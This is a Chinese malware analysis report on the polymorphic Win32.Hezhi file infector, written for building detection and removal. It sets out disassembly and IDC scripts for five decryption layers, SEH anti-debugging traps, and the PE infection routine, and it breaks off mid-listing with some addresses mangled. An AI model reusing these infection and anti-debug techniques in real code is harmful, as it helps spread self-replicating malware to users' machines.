以下是小编整理了hezhi病毒分析报告病毒防范,本文共13篇,希望你喜欢,也可以帮助到您,欢迎分享!本文原稿由网友“捧个人场”提供。
篇1:hezhi病毒分析报告病毒防范
作者:haiwei/CVC.GB
Hezhi病毒是去年分析一个病毒,下面是分析报告,由于xxx原因杀毒程序不能公布(其实分析报告应该写得比较清楚了,哈)
写杀变形病毒的程序, 首先是要解决怎么查这个病毒(把病毒的变形引擎分析透彻一点,它怎么变你就怎么查),然后才是杀(好像是废话:))
hezhi病毒分析报告
haiwei/CVC.GB
关键字:
变形\\病毒\\感染\\AntiDebug
分析工具:
OD(动态)\\IDA(静态)
分析目标:
1.样本MD5值:a7be1177766cec09d7e914ea7985c723
2.病毒名称:Win32.Hezhi
难度:中
病毒简介:
1.这是一个基于poly技术的病毒,病毒代码经过五层加密,且key为动态的.
2.感染在宿主程序的节空隙,如果没有足够的空隙,则增加最后一节的节大小.
3.加密原宿主代码.
4.病毒代码中有多处SEH陷井来反动态调试
病毒执行流程:
1.第一次解密
004087D3 0F 84 87 EF FF FF jz near ptr loc_40775F+1
.text:004087D9 50 push eax
.text:004087DA E8 00 00 00 00 call $+5
.text:004087DF 58 pop eax
.text:004087E0 58 pop eax
.text:004087E1 BE 00 00 09 02 mov esi, 2090000h \\\\关键
.text:004087E6 50 push eax
.text:004087E7 13 C3 adc eax, ebx
.text:004087E9 1B C3 sbb eax, ebx
.text:004087EB 58 pop eax
.text:004087EC B8 0C 03 00 00 mov eax, 30Ch
.text:004087F1 57 push edi
.text:004087F2 F7 D7 not edi
.text:004087F4 0F 03 F8 lsl edi, eax
.text:004087F7 5F pop edi
.text:004087F8 81 C0 3A 2E 00 00 add eax, 2E3Ah
.text:004087FE 57 push edi
.text:004087FF F7 D7 not edi
.text:00408801 0F 03 F8 lsl edi, eax
.text:00408804 5F pop edi
.text:00408805 C1 C6 1D rol esi, 1Dh \\\\经过这条指令Esi为待解密代码的
\\\\起始地址
.text:00408808 51 push ecx
.text:00408809 81 C1 19 39 D0 DB add ecx, 0DBD03919h
.text:0040880F 59 pop ecx
.text:00408810
.text:00408810 loc_408810: ; CODE XREF: start+D0j
.text:00408810 81 34 30 DA 0C 03 D2 xor dword ptr [eax+esi], 0D2030CDAh \\\\Key
.text:00408817 F5 cmc
.text:00408818 F5 cmc
.text:00408819 90 nop
.text:0040881A 90 nop
.text:0040881B 48 dec eax
.text:0040881C 50 push eax
.text:0040881D E8 00 00 00 00 call $+5
.text:00408822 58 pop eax
.text:00408823 58 pop eax
.text:00408824 7D EA jge short loc_408810 \\\\循环
.text:00408826 57 push edi
.text:00408827 F7 D7 not edi
.text:00408829 0F 03 F8 lsl edi, eax
.text:0040882C 5F pop edi
.text:0040882D FF E6 jmp esi \\\\跳到已解密代码执行
下面为小弟写的IDC解密脚本:
auto RegEsi;
auto Key;
auto RegEax;
RegEsi=0x41;
Key=0xd2030cda;
RegEax=0x3146;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
在OD里可以把代码直接拉到JMP XX处 F4(XX可变),在这个例子样本中为JMP Esi
2.第二次解密
JMP Esi来到412000,该处代码如下
0041 50 PUSH EAX
0041 E8 00000000 CALL CLSPACK1.0041
00412008 58 POP EAX
0041 83C0 1A ADD EAX,1A
0041200C 50 PUSH EAX ; CLSPACK1.00412022
0041200D 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\这里很明显是一个SEH陷井
0041 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP
0041 B8 FFFFFFFF MOV EAX,-1
0041201E FFE0 JMP EAX \\\\故意产生异常
0041 FFE0 JMP EAX
00412022 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] \\\\在这个位置F2下断点,F9,出现异常
\\\\出现异常后按shift+F9到412022断点处停下
00412027 8B20 MOV ESP,DWORD PTR DS:[EAX]
00412029 64:67:8F06 0000 POP DWORD PTR FS:[0]
0041202F 58 POP EAX \\\\这几条指令在恢复SEH
00412030 58 POP EAX
00412031 60 PUSHAD
00412032 E8 00000000 CALL CLSPACK1.00412037
00412037 58 POP EAX
00412038 BE 82104000 MOV ESI,CLSPACK1.00401082
0041203D BB 37104000 MOV EBX,CLSPACK1.00401037
00412042 2BF3 SUB ESI,EBX
00412044 03F0 ADD ESI,EAX \\\\Esi为解密起始地址
00412046 BB C4300000 MOV EBX,30C4 \\\\解密长度
0041204B 81341E 30C87B80 XOR DWORD PTR DS:[ESI+EBX],807BC830 \\\\Key
00412052 9C PUSHFD
省略若干垃圾指令
0041207D 9D POPFD
0041207E 4B DEC EBX
0041207F ^7D CA JGE SHORT CLSPACK1.0041204B \\\\循环
00412081 61 POPAD \\\\在OD中把光标停在这F4
下面是第二次解密IDC脚本:
auto RegEsi;
auto Key;
auto RegEax;
auto Data;
RegEsi=0x412082;
Key=0x807bc830;
RegEax=0x30c4;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
3.第三次解密
00412089 BE CC104000 MOV ESI,<&KERNEL32.RtlUnwind>
0041208E BB 88104000 MOV EBX,<&KERNEL32.ExitProcess>
00412093 2BF3 SUB ESI,EBX
00412095 03F0 ADD ESI,EAX \\\\解密起始地址
00412097 B9 1F0C0000 MOV ECX,0C1F \\\\长度
0041209C 8B06 MOV EAX,DWORD PTR DS:[ESI]
0041209E F7D0 NOT EAX \\\\解密
004120A0 8906 MOV DWORD PTR DS:[ESI],EAX
004120A2 83C6 04 ADD ESI,4
省略若干垃圾代码
004120C9 ^E2 D1 LOOPD SHORT CLSPACK1.0041209C
004120CB 61 POPAD \\\\光标停在这,F4
下面是第三次解密的IDC脚本:
auto RegEsi;
auto RegEax;
auto i;
auto Data;
RegEsi=0x4120cc;
RegEax=0xc1f;
for (i=0;i { Data=~Dword(i+RegEsi); PatchDword(i+RegEsi,Data); } 4.第四解密 004120D8 64:67:FF36 0000 PUSH DWORD PTR FS:[0] 004120DE 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP \\\\又是一个SEH陷井 004120E4 B0 88 MOV AL,88 004120E6 02C0 ADD AL,AL 004120E8 CE INTO \\\\产生异常 004120E9 FFE0 JMP EAX 004120EB 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 004120F0 8B20 MOV ESP,DWORD PTR DS:[EAX] 004120F2 64:67:8F06 0000 POP DWORD PTR FS:[0] 004120F8 58 POP EAX 004120F9 58 POP EAX 004120FA E8 00000000 CALL CLSPACK1.004120FF 004120FF 58 POP EAX 00412100 BE 1F114000 MOV ESI,CLSPACK1.0040111F 00412105 BB FF104000 MOV EBX,CLSPACK1.004010FF 0041210A 2BF3 SUB ESI,EBX 0041210C 03F0 ADD ESI,EAX \\\\解密起始地址 0041210E B9 0A0C0000 MOV ECX,0C0A \\\\长度 00412113 8106 B2C430E1 ADD DWORD PTR DS:[ESI],E130C4B2 \\\\Key 00412119 83C6 04 ADD ESI,4 0041211C ^E2 F5 LOOPD SHORT CLSPACK1.00412113 0041211E 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第四次解密的IDC脚本: auto RegEsi; auto Key; auto RegEax; auto i; auto Data; RegEsi=0x41211f; Key=0xe130c4b2; RegEax=0xc0a; for (i=0;i { Data=Dword(i+RegEsi)+Key; PatchDword(i+RegEsi,Data); } 5.第五次解密 00412126 58 POP EAX 00412127 83C0 1B ADD EAX,1B 0041212A 50 PUSH EAX 0041212B 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\SEH陷井 00412131 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP 00412137 B8 FFFFFFFF MOV EAX,-1 0041213C C600 CC MOV BYTE PTR DS:[EAX],0CC \\\\产生异常 0041213F FFE0 JMP EAX 00412141 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 00412146 8B20 MOV ESP,DWORD PTR DS:[EAX] 00412148 64:67:8F06 0000 POP DWORD PTR FS:[0] \\\\恢复SEH 0041214E 58 POP EAX 0041214F 58 POP EAX 00412150 E8 00000000 CALL CLSPACK1.00412155 00412155 58 POP EAX 00412156 BE 76114000 MOV ESI,CLSPACK1.00401176 0041215B BB 55114000 MOV EBX,CLSPACK1.00401155 00412160 2BF3 SUB ESI,EBX 00412162 03F0 ADD ESI,EAX \\\\解密起始地址 00412164 B9 F50B0000 MOV ECX,0BF5 \\\\长度 00412169 8B06 MOV EAX,DWORD PTR DS:[ESI] \\\\ 0041216B C1C0 10 ROL EAX,10 \\\\解密 0041216E 8906 MOV DWORD PTR DS:[ESI],EAX 00412170 83C6 04 ADD ESI,4 00412173 ^E2 F4 LOOPD SHORT CLSPACK1.00412169 00412175 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第五次解密的IDC脚本: auto RegEsi; auto RegEax; auto i; auto Data,Temp1,Temp2; RegEsi=0x412176; RegEax=0xbf5; for (i=0;i { Temp1=Dword(i+RegEsi); Temp1=Temp1<<0x10; Temp1=Temp1&0xffff0000; Temp2=Dword(i+RegEsi); Temp2=Temp2>>0x10; Temp2=Temp2&0xffff; Data=Temp1|Temp2; PatchDword(i+RegEsi,Data); } 6.在当前进程堆中分配8000H字节空间,并把病毒代码复制过去,并跳到堆中执行 004122B4 50 PUSH EAX 004122B5 52 PUSH EDX 004122B6 68 00800000 PUSH 8000 004122BB 6A 09 PUSH 9 004122BD 53 PUSH EBX 004122BE FFD1 CALL ECX \\\\RtlAllocateHeap \\\\在进程堆中分配8000H字节空间 004122C0 8BC8 MOV ECX,EAX 004122C2 0BC0 OR EAX,EAX 004122C4 5A POP EDX 004122C5 58 POP EAX 004122C6 0F84 EA2D0000 JE CLSPACK1.004150B6 004122CC 50 PUSH EAX 004122CD 51 PUSH ECX 004122CE 51 PUSH ECX 004122CF 6A 09 PUSH 9 004122D1 53 PUSH EBX 004122D2 FFD2 CALL EDX 004122D4 3D 00800000 CMP EAX,8000 004122D9 0F85 D72D0000 JNZ CLSPACK1.004150B6 004122DF 59 POP ECX 004122E0 58 POP EAX 004122E1 57 PUSH EDI 004122E2 50 PUSH EAX 004122E3 8BF9 MOV EDI,ECX 004122E5 57 PUSH EDI 004122E6 B8 FC124000 MOV EAX,CLSPACK1.004012FC ; ASCII “runtime error ” 004122EB 2D 00104000 SUB EAX,<&ADVAPI32.RegSetValueExA> 004122F0 03C7 ADD EAX,EDI 004122F2 B9 4A310000 MOV ECX,314A \\\\需复制代码的长度 004122F7 FC CLD 004122F8 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] \\\\复制 004122FA FFE0 JMP EAX \\\\跳到堆中执行 7.判断当前系统中是否有一个名为“DELPHI”的事件,如果存在则转12 否则转8 则解密原宿主程序代码. 001364D0 68 04010000 PUSH 104 001364D5 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 001364DB 50 PUSH EAX 001364DC 6A 00 PUSH 0 001364DE FF97 912A0000 CALL DWORD PTR DS:[EDI+2A91] 001364E4 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 001364EA 50 PUSH EAX 001364EB 6A 01 PUSH 1 001364ED 68 03001F00 PUSH 1F0003 001364F2 FF97 952A0000 CALL DWORD PTR DS:[EDI+2A95] \\\\OpenEvent 001364F8 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 001364FE 83F8 00 CMP EAX,0 00136501 74 0C JE SHORT 0013650F \\\\如果当前没有DELPHI事件则跳 \\\\这个跳转非常关键 \\\\它决定是走病毒流程还是原宿主程序的流程 00136503 50 PUSH EAX 00136504 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] 0013650A E9 AF2B0000 JMP 001390BE 0013650F 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 00136515 50 PUSH EAX 00136516 6A 01 PUSH 1 00136518 6A 00 PUSH 0 0013651A 6A 00 PUSH 0 0013651C FF97 992A0000 CALL DWORD PTR DS:[EDI+2A99] \\\\CreateEvent 创建一个名为“DELPHI”的事件 00136522 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 00136528 57 PUSH EDI 00136529 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 0013652F 50 PUSH EAX 00136530 FF97 ED2A0000 CALL DWORD PTR DS:[EDI+2AED] 00136536 5F POP EDI 00136537 8D87 60290000 LEA EAX,DWORD PTR DS:[EDI+2960] 0013653D 50 PUSH EAX 0013653E 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 00136544 50 PUSH EAX 00136545 6A 00 PUSH 0 00136547 6A 00 PUSH 0 00136549 6A 20 PUSH 20 0013654B 6A 00 PUSH 0 0013654D 6A 00 PUSH 0 0013654F 6A 00 PUSH 0 00136551 FF97 CD2A0000 CALL DWORD PTR DS:[EDI+2ACD] \\\\\\\\GetCommandLine 00136557 50 PUSH EAX 00136558 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 0013655E 50 PUSH EAX 0013655F FF97 852A0000 CALL DWORD PTR DS:[EDI+2A85] \\\\CreateProcess 自身全路径名 00136565 E8 00000000 CALL 0013656A 0013656A 58 POP EAX 0013656B 60 PUSHAD 0013656C 8D88 32000000 LEA ECX,DWORD PTR DS:[EAX+32] \\\\这是一个变相的SEH安装 00136572 51 PUSH ECX 00136573 66:8CDA MOV DX,DS 00136576 0FA0 PUSH FS 00136578 1F POP DS 00136579 BB 00000000 MOV EBX,0 0013657E FF33 PUSH DWORD PTR DS:[EBX] 00136580 8BEC MOV EBP,ESP 00136582 892B MOV DWORD PTR DS:[EBX],EBP 00136584 66:8EDA MOV DS,DX 00136587 57 PUSH EDI 00136588 FF97 E52A0000 CALL DWORD PTR DS:[EDI+2AE5] 0013658E 5F POP EDI 0013658F 57 PUSH EDI 00136590 6A 01 PUSH 1 00136592 50 PUSH EAX 00136593 FF97 E92A0000 CALL DWORD PTR DS:[EDI+2AE9] \\\\这里会产生异常 00136599 5F POP EDI 0013659A EB 0F JMP SHORT 001365AB 0013659C 33DB XOR EBX,EBX \\\\这里F2下断点,F9,shift+F9 0013659E 66:8CDA MOV DX,DS 001365A1 0FA0 PUSH FS 001365A3 1F POP DS 001365A4 8B03 MOV EAX,DWORD PTR DS:[EBX] 001365A6 66:8EDA MOV DS,DX 001365A9 8B20 MOV ESP,DWORD PTR DS:[EAX] 001365AB 33DB XOR EBX,EBX 001365AD 66:8CDA MOV DX,DS 8.枚举局域网共享资源,并感染之 9.查找C-Z的固定磁盘, a.其中包含:RUNDLL32\\RUNONCE\\RAV\\LSASS\\SERVICES\\WINLOGON\\SPOOLSV MSTASK\\RPCSS\\AVCONSOL字符串的文件不感染. b.小于8K的文件不感染. c.系统目录下的文件不感染. 10当找到一个EXE文件时,首先判断是否是合法的PE文件,然生判断是否是已经感染文件 (以PE文件结构中的TimeDateStamp+1处的两个字节是否等于C354H来判断),如果 等于则继续下一个文件.否则转11 11.具体的感染过程如下:(由于是在最后一次解密后DUMP出来的,所以地址跟OD中的不一样 但指令和代码功能是一样的) 另:加密病毒代码和原宿主程序代码的Key由原宿主程序TimeDateStamp算得 00412A60 66:837E 5C 02 CMP WORD PTR DS:[ESI+5C],2 \\\\WINDOWS系统 00412A65 0F85 7F040000 JNZ CLSPACK.00412EEA 00412A6B 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] \\\\TimeDateStamp 00412A6E 83F8 00 CMP EAX,0 00412A71 75 21 JNZ SHORT CLSPACK.00412A94 \\\\在TimeDataStamp不为0的情况下用它用密钥,否则用E4C3542D为密钥 00412A73 B8 2D54C3E4 MOV EAX,E4C3542D \\\\密钥呀 E4C3542D 00412A78 C787 7F100000 CA>MOV DWORD PTR DS:[EDI+107F],2ACA 00412A82 C787 85100000 7C>MOV DWORD PTR DS:[EDI+1085],67C 00412A8C 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 00412A8F E9 C3000000 JMP CLSPACK.00412B57 00412A94 8987 AA300000 MOV DWORD PTR DS:[EDI+30AA],EAX \\\\下面这段关键呀 00412A9A 50 PUSH EAX 00412A9B 53 PUSH EBX 00412A9C 35 DF6A45D3 XOR EAX,D3456ADF \\\\D3456ADF 00412AA1 8987 4A100000 MOV DWORD PTR DS:[EDI+104A],EAX 00412AA7 BB FFFAFFFF MOV EBX,-501 00412AAC 2BD8 SUB EBX,EAX 00412AAE 899F 50100000 MOV DWORD PTR DS:[EDI+1050],EBX 00412AB4 5B POP EBX 00412AB5 58 POP EAX 00412AB6 53 PUSH EBX 00412AB7 51 PUSH ECX 00412AB8 E8 FB060000 CALL CLSPACK.004131B8 \\\\\\(TimeDateStamp*0x7FFFFFFF+1)%-5=EAX 其中TimeDataStamp为EAX 00412ABD 8BD8 MOV EBX,EAX 00412ABF C1EB 08 SHR EBX,8 00412AC2 50 PUSH EAX 00412AC3 53 PUSH EBX 00412AC4 51 PUSH ECX 00412AC5 52 PUSH EDX 00412AC6 8BC3 MOV EAX,EBX 00412AC8 8BCB MOV ECX,EBX 00412ACA 25 FF000000 AND EAX,0FF 00412ACF 50 PUSH EAX \\\\这段代码应该是变形引擎的随机数选择段 00412AD0 C1E8 04 SHR EAX,4 00412AD3 24 07 AND AL,7 00412AD5 3C 05 CMP AL,5 00412AD7 76 02 JBE SHORT CLSPACK.00412ADB 00412AD9 2C 02 SUB AL,2 00412ADB 8AD8 MOV BL,AL 00412ADD 58 POP EAX 00412ADE 24 07 AND AL,7 00412AE0 3C 05 CMP AL,5 00412AE2 76 02 JBE SHORT CLSPACK.00412AE6 00412AE4 2C 04 SUB AL,4 00412AE6 38D8 CMP AL,BL 00412AE8 75 34 JNZ SHORT CLSPACK.00412B1E 00412AEA 8BD9 MOV EBX,ECX 00412AEC C1EB 08 SHR EBX,8 00412AEF 8BC3 MOV EAX,EBX 00412AF1 25 FF000000 AND EAX,0FF 00412AF6 50 PUSH EAX 00412AF7 C1E8 04 SHR EAX,4 00412AFA 24 07 AND AL,7 00412AFC 3C 05 CMP AL,5 00412AFE 76 02 JBE SHORT CLSPACK.00412B02 00412B00 2C 02 SUB AL,2 00412B02 8AD8 MOV BL,AL 00412B04 58 POP EAX 00412B05 24 07 AND AL,7 00412B07 3C 05 CMP AL,5 00412B09 76 02 JBE SHORT CLSPACK.00412B0D 00412B0B 2C 04 SUB AL,4 00412B0D 38D8 CMP AL,BL 00412B0F 75 0D JNZ SHORT CLSPACK.00412B1E 00412B11 3C 05 CMP AL,5 00412B13 74 04 JE SHORT CLSPACK.00412B19 00412B15 FEC3 INC BL 00412B17 EB 05 JMP SHORT CLSPACK.00412B1E 00412B19 80E2 03 AND DL,3 00412B1C 8ADA MOV BL,DL 00412B1E 83E0 07 AND EAX,7 00412B21 83E3 07 AND EBX,7 00412B24 83E1 07 AND ECX,7 00412B27 E8 6C050000 CALL CLSPACK.00413098 \\\\这个CALL根椐上面产生的随机数产生随机代码,(里面包含一张表) 00412B2C 5A POP EDX 00412B2D 59 POP ECX 00412B2E 5B POP EBX 00412B2F 58 POP EAX 00412B30 81E3 FF0F0000 AND EBX,0FFF 00412B36 899F 7F100000 MOV DWORD PTR DS:[EDI+107F],EBX 00412B3C B9 46310000 MOV ECX,3146 00412B41 2BCB SUB ECX,EBX 00412B43 898F 85100000 MOV DWORD PTR DS:[EDI+1085],ECX 00412B49 59 POP ECX 00412B4A 5B POP EBX 00412B4B 8987 8F100000 MOV DWORD PTR DS:[EDI+108F],EAX 00412B51 66:C746 09 54C3 MOV WORD PTR DS:[ESI+9],0C354 \\\\写入感染标志,这个位置为PE文件的TimeDateStamp处 00412B57 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\原AddressOfEntryPoint 00412B5A 8987 5F060000 MOV DWORD PTR DS:[EDI+65F],EAX \\\\呵呵,在解密后的病毒+65F处可以看见 可爱的入口地址 00412B60 8B46 38 MOV EAX,DWORD PTR DS:[ESI+38] \\\\SectionAlignment 00412B63 8987 942E0000 MOV DWORD PTR DS:[EDI+2E94],EAX 00412B69 8B46 34 MOV EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412B6C 8987 B2300000 MOV DWORD PTR DS:[EDI+30B2],EAX 00412B72 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\Magic 00412B75 33D2 XOR EDX,EDX 00412B77 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] \\\\SizeOfOptionHeader 00412B7B 03DA ADD EBX,EDX \\\\EBX->第一个节表 00412B7D 33C9 XOR ECX,ECX 00412B7F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412B83 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\AddressofEntryPoint 00412B86 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412B89 3BC2 CMP EAX,EDX 00412B8B 72 07 JB SHORT CLSPACK.00412B94 \\\\如果AddressOfEntryPoint 00412B8D 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412B90 3BC2 CMP EAX,EDX 00412B92 76 18 JBE SHORT CLSPACK.00412BAC \\\\如果入口点在当前节中则跳 00412B94 83C3 28 ADD EBX,28 00412B97 ^E2 EA LOOPD SHORT CLSPACK.00412B83 00412B99 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412BA0 74 05 JE SHORT CLSPACK.00412BA7 00412BA2 E9 43030000 JMP CLSPACK.00412EEA 00412BA7 E9 F5190000 JMP CLSPACK.004145A1 00412BAC 50 PUSH EAX 00412BAD 52 PUSH EDX 00412BAE 05 00020000 ADD EAX,200 00412BB3 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412BB6 0353 10 ADD EDX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412BB9 3BC2 CMP EAX,EDX 00412BBB 5A POP EDX 00412BBC 58 POP EAX 00412BBD 77 24 JA SHORT CLSPACK.00412BE3 00412BBF 50 PUSH EAX 00412BC0 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412BC3 8987 18060000 MOV DWORD PTR DS:[EDI+618],EAX \\\\ImageBase+AddressOfEntryPoint 00412BC9 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] \\\\Characteristics 00412BCC 0D 00000020 OR EAX,20000000 \\\\IMAGE_SCN_MEM_EXECUTE 00412BD1 8943 24 MOV DWORD PTR DS:[EBX+24],EAX \\\\写回 00412BD4 58 POP EAX \\\\AddressOfEntryPoint 00412BD5 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] \\\\EAX-VirtualAddress 00412BD8 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] \\\\PointerToRawData 00412BDB 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX \\\\EAX->FileOffset 00412BE1 EB 2F JMP SHORT CLSPACK.00412C12 00412BE3 50 PUSH EAX 00412BE4 52 PUSH EDX 00412BE5 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412BE8 8956 28 MOV DWORD PTR DS:[ESI+28],EDX 00412BEB 0356 34 ADD EDX,DWORD PTR DS:[ESI+34] 00412BEE 8997 18060000 MOV DWORD PTR DS:[EDI+618],EDX 00412BF4 8B43 24 MOV EAX,DWORD PTR DS:[EBX+24] 00412BF7 0D 00000020 OR EAX,20000000 00412BFC 8943 24 MOV DWORD PTR DS:[EBX+24],EAX 00412BFF 5A POP EDX 00412C00 58 POP EAX 00412C01 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C04 8987 A22E0000 MOV DWORD PTR DS:[EDI+2EA2],EAX 00412C0A 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C10 EB 79 JMP SHORT CLSPACK.00412C8B 00412C12 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\ESI->'PE' 00412C15 33D2 XOR EDX,EDX 00412C17 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] 00412C1B 03DA ADD EBX,EDX \\\\EBX->.text 00412C1D 33C9 XOR ECX,ECX 00412C1F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412C23 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C26 2B43 08 SUB EAX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412C29 3B87 AE300000 CMP EAX,DWORD PTR DS:[EDI+30AE] \\\\CMP EAX,200 00412C2F 7D 37 JGE SHORT CLSPACK.00412C68 00412C31 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] 00412C34 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] 00412C37 3BC2 CMP EAX,EDX 00412C39 72 07 JB SHORT CLSPACK.00412C42 00412C3B 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] 00412C3E 3BC2 CMP EAX,EDX 00412C40 76 18 JBE SHORT CLSPACK.00412C5A 00412C42 83C3 28 ADD EBX,28 00412C45 ^E2 DC LOOPD SHORT CLSPACK.00412C23 00412C47 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412C4E 74 05 JE SHORT CLSPACK.00412C55 00412C50 E9 95020000 JMP CLSPACK.00412EEA 00412C55 E9 47190000 JMP CLSPACK.004145A1 00412C5A 2B43 0C SUB EAX,DWORD PTR DS:[EBX+C] 00412C5D 0343 14 ADD EAX,DWORD PTR DS:[EBX+14] 00412C60 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX //EPOFileOffset 00412C66 EB 23 JMP SHORT CLSPACK.00412C8B 00412C68 8B43 14 MOV EAX,DWORD PTR DS:[EBX+14] 00412C6B 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C6E 8987 8C2E0000 MOV DWORD PTR DS:[EDI+2E8C],EAX 00412C74 8B43 0C MOV EAX,DWORD PTR DS:[EBX+C] 00412C77 0343 08 ADD EAX,DWORD PTR DS:[EBX+8] 00412C7A 8946 28 MOV DWORD PTR DS:[ESI+28],EAX 00412C7D 50 PUSH EAX 00412C7E 8B43 08 MOV EAX,DWORD PTR DS:[EBX+8] 00412C81 0387 AE300000 ADD EAX,DWORD PTR DS:[EDI+30AE] 00412C87 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412C8A 58 POP EAX 00412C8B 83C3 28 ADD EBX,28 00412C8E ^E2 FB LOOPD SHORT CLSPACK.00412C8B \\\\定位到最后一个节上 00412C90 83EB 28 SUB EBX,28 00412C93 C743 24 400000C0 MOV DWORD PTR DS:[EBX+24],C0000040 \\\\改节属性 00412C9A 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] \\\\SizeOfRawData 00412C9D 50 PUSH EAX 00412C9E 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412CA1 0346 34 ADD EAX,DWORD PTR DS:[ESI+34] \\\\Image 00412CA4 51 PUSH ECX 00412CA5 8A4E 08 MOV CL,BYTE PTR DS:[ESI+8] \\\\TimeDateStamp 00412CA8 80E1 1F AND CL,1F 00412CAB 888F 8B100000 MOV BYTE PTR DS:[EDI+108B],CL 00412CB1 D3C8 ROR EAX,CL 00412CB3 59 POP ECX 00412CB4 8987 7A100000 MOV DWORD PTR DS:[EDI+107A],EAX \\\\020CA000H 00412CBA B9 00320000 MOV ECX,3200 00412CBF 014B 10 ADD DWORD PTR DS:[EBX+10],ECX \\\\把最后一节大小加3200H 00412CC2 014E 20 ADD DWORD PTR DS:[ESI+20],ECX \\\\SizeOfinitializeData+3200H 00412CC5 8B43 10 MOV EAX,DWORD PTR DS:[EBX+10] 00412CC8 3B43 08 CMP EAX,DWORD PTR DS:[EBX+8] 00412CCB 76 03 JBE SHORT CLSPACK.00412CD0 00412CCD 8943 08 MOV DWORD PTR DS:[EBX+8],EAX 00412CD0 05 FF0F0000 ADD EAX,0FFF 00412CD5 25 00F0FFFF AND EAX,FFFFF000 00412CDA 0343 0C ADD EAX,DWORD PTR DS:[EBX+C] 00412CDD 8946 50 MOV DWORD PTR DS:[ESI+50],EAX \\\\SizeOfImage 00412CE0 52 PUSH EDX 00412CE1 8B53 08 MOV EDX,DWORD PTR DS:[EBX+8] 00412CE4 0353 0C ADD EDX,DWORD PTR DS:[EBX+C] 00412CE7 3BC2 CMP EAX,EDX 00412CE9 73 03 JNB SHORT CLSPACK.00412CEE 00412CEB 8956 50 MOV DWORD PTR DS:[ESI+50],EDX 00412CEE 5A POP EDX 00412CEF 5A POP EDX 00412CF0 0353 14 ADD EDX,DWORD PTR DS:[EBX+14] 00412CF3 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] \\\\hFile 00412CF9 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412D00 75 05 JNZ SHORT CLSPACK.00412D07 00412D02 E9 75170000 JMP CLSPACK.0041447C 00412D07 51 PUSH ECX 00412D08 52 PUSH EDX 00412D09 6A 00 PUSH 0 00412D0B 53 PUSH EBX 00412D0C FF97 B12A0000 CALL DWORD PTR DS:[EDI+2AB1] \\\\GetFileSize 00412D12 5A POP EDX 00412D13 59 POP ECX 00412D14 83F8 00 CMP EAX,0 00412D17 0F84 CD010000 JE CLSPACK.00412EEA 00412D1D 8BDA MOV EBX,EDX 00412D1F 81C3 00020000 ADD EBX,200 00412D25 3BC3 CMP EAX,EBX 00412D27 0F87 BD010000 JA CLSPACK.00412EEA \\\\不符合感染条件则跳(空间不够大) 00412D2D 60 PUSHAD 00412D2E 8B9F 882E0000 MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D34 6A 00 PUSH 0 00412D36 6A 00 PUSH 0 00412D38 8B97 A22E0000 MOV EDX,DWORD PTR 